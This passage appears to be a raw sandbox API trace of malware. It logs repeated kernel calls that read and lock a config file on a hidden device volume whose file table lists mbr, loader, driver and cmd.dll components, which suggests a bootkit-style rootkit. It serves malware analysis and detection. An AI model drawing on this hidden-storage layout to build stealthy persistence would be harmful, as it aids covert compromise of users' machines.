(in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.398] KeLeaveCriticalRegion () [0120.399] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.399] KeEnterCriticalRegion () [0120.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.399] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.399] IdePortDispatch () returned 0x103 [0120.399] KeWaitForMutexObject () returned 0x0 [0120.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.399] KeLeaveCriticalRegion () [0120.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.399] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.399] KeEnterCriticalRegion () [0120.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.399] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345e000 [0120.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.399] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.399] IdePortDispatch () returned 0x103 [0120.399] KeWaitForMutexObject () returned 0x0 [0120.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.399] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.399] IdePortDispatch () returned 0x103 [0120.400] KeWaitForMutexObject () returned 0x0 [0120.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.400] KeLeaveCriticalRegion () [0120.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.400] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.400] KeEnterCriticalRegion () [0120.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.400] KeLeaveCriticalRegion () [0120.400] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.400] KeEnterCriticalRegion () [0120.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.400] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.400] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.400] KeLeaveCriticalRegion () [0120.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.400] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.400] KeEnterCriticalRegion () [0120.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.400] ExFreePoolWithTag (P=0xfffffa8003bc2340, Tag=0x0) [0120.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.401] KeLeaveCriticalRegion () [0120.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.401] ReleaseMutex (hMutex=0xf0) returned 1 [0120.401] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.401] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.401] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.401] KeEnterCriticalRegion () [0120.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.401] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.401] IdePortDispatch () returned 0x103 [0120.401] KeWaitForMutexObject () returned 0x0 [0120.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.401] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.401] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.401] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.401] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.401] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.401] KeLeaveCriticalRegion () [0120.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.401] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.401] KeEnterCriticalRegion () [0120.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.401] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.401] KeLeaveCriticalRegion () [0120.401] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.401] KeEnterCriticalRegion () [0120.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.402] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.402] IdePortDispatch () returned 0x103 [0120.402] KeWaitForMutexObject () returned 0x0 [0120.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.402] KeLeaveCriticalRegion () [0120.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.402] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.402] KeEnterCriticalRegion () [0120.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.402] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345f000 [0120.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.402] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.402] IdePortDispatch () returned 0x103 [0120.402] KeWaitForMutexObject () returned 0x0 [0120.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.402] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.402] IdePortDispatch () returned 0x103 [0120.402] KeWaitForMutexObject () returned 0x0 [0120.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.403] KeLeaveCriticalRegion () [0120.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.403] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.403] KeEnterCriticalRegion () [0120.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.403] KeLeaveCriticalRegion () [0120.403] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.403] KeEnterCriticalRegion () [0120.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.403] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.403] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.403] KeLeaveCriticalRegion () [0120.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.403] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.403] KeEnterCriticalRegion () [0120.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.403] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.403] KeLeaveCriticalRegion () [0120.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.403] ReleaseMutex (hMutex=0xf0) returned 1 [0120.404] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.404] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.404] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.404] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.404] KeEnterCriticalRegion () [0120.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.404] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.404] IdePortDispatch () returned 0x103 [0120.404] KeWaitForMutexObject () returned 0x0 [0120.404] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.404] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.404] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.404] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.404] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.404] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.404] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.404] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.404] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.404] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.404] KeLeaveCriticalRegion () [0120.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.404] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.404] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.404] KeEnterCriticalRegion () [0120.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.404] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.405] IdePortDispatch () returned 0x103 [0120.405] KeWaitForMutexObject () returned 0x0 [0120.405] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.405] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.405] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.405] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.405] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.405] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.405] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.405] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.405] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.405] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.405] KeLeaveCriticalRegion () [0120.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.405] ReleaseMutex (hMutex=0x100) returned 1 [0120.405] Sleep (dwMilliseconds=0x2bf20) [0120.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6af82d70, dwHighDateTime=0x1d24fa4)) [0120.414] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.414] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.414] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.414] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.414] KeEnterCriticalRegion () [0120.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.414] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.414] IdePortDispatch () returned 0x103 [0120.414] KeWaitForMutexObject () returned 0x0 [0120.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.414] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.414] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.414] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.414] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.414] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc20a0 [0120.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.414] KeLeaveCriticalRegion () [0120.414] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.414] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.414] KeEnterCriticalRegion () [0120.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.414] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.414] KeLeaveCriticalRegion () [0120.414] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.414] KeEnterCriticalRegion () [0120.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.414] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.414] IdePortDispatch () returned 0x103 [0120.414] KeWaitForMutexObject () returned 0x0 [0120.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.415] KeLeaveCriticalRegion () [0120.415] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.415] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.415] KeEnterCriticalRegion () [0120.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.415] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003462000 [0120.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.415] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.415] IdePortDispatch () returned 0x103 [0120.415] KeWaitForMutexObject () returned 0x0 [0120.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.415] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.415] IdePortDispatch () returned 0x103 [0120.415] KeWaitForMutexObject () returned 0x0 [0120.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.415] KeLeaveCriticalRegion () [0120.415] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.416] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.416] KeEnterCriticalRegion () [0120.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.416] KeLeaveCriticalRegion () [0120.416] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.416] KeEnterCriticalRegion () [0120.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.416] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.416] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.416] KeLeaveCriticalRegion () [0120.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, 